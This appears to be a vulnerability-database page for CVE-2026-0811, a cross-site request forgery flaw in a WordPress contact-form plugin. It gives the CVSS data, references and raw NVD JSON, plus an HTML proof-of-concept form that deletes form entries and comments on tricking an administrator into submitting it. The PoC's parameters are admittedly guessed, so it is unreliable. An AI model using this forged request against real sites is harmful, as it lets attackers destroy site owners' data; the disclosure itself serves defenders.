CVE-2026-0811

Description

The Advanced Contact form 7 DB plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.9. This is due to missing or incorrect nonce validation on the 'vsz_cf7_save_setting_callback' function. This makes it possible for unauthenticated attackers to delete form entry via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Advanced Contact form 7 DB <= 2.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-0811 -->
<!-- This HTML page demonstrates the CSRF vulnerability. -->
<!-- To test, host this file and trick an admin into clicking the button. -->
<html>
<body>
<h2>CSRF PoC: Delete Form Entry</h2>
<p>Click the button below to delete a form entry (if logged in as admin).</p>
<!-- The form targets the WordPress admin-ajax.php endpoint -->
<form action="http://target-site/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="vsz_cf7_save_setting_callback">
    <!-- Assuming delete parameter based on typical plugin behavior -->
    <input type="hidden" name="entry_id" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="submit" value="Click Me">
</form>

<script>
    // Optional: Auto-submit on load
    // document.forms[0].submit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0811
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0811
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0811/
[4] VulDB https://vuldb.com/cve/CVE-2026-0811
[5] https://plugins.trac.wordpress.org/browser/advanced-cf7-db/tags/2.0.9/admin/class-advanced-cf7-db-admin.php#L885
[6] https://plugins.trac.wordpress.org/changeset/3497481/advanced-cf7-db
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/88097744-d2f5-4ae5-aa71-0f4a0decd911?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0811", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:24:52.740", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Contact form 7 DB plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.9. This is due to missing or incorrect nonce validation on the 'vsz_cf7_save_setting_callback' function. This makes it possible for unauthenticated attackers to delete form entry via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/advanced-cf7-db/tags/2.0.9/admin/class-advanced-cf7-db-admin.php#L885", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3497481/advanced-cf7-db", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/88097744-d2f5-4ae5-aa71-0f4a0decd911?source=cve", "source": "[email protected]"}]}}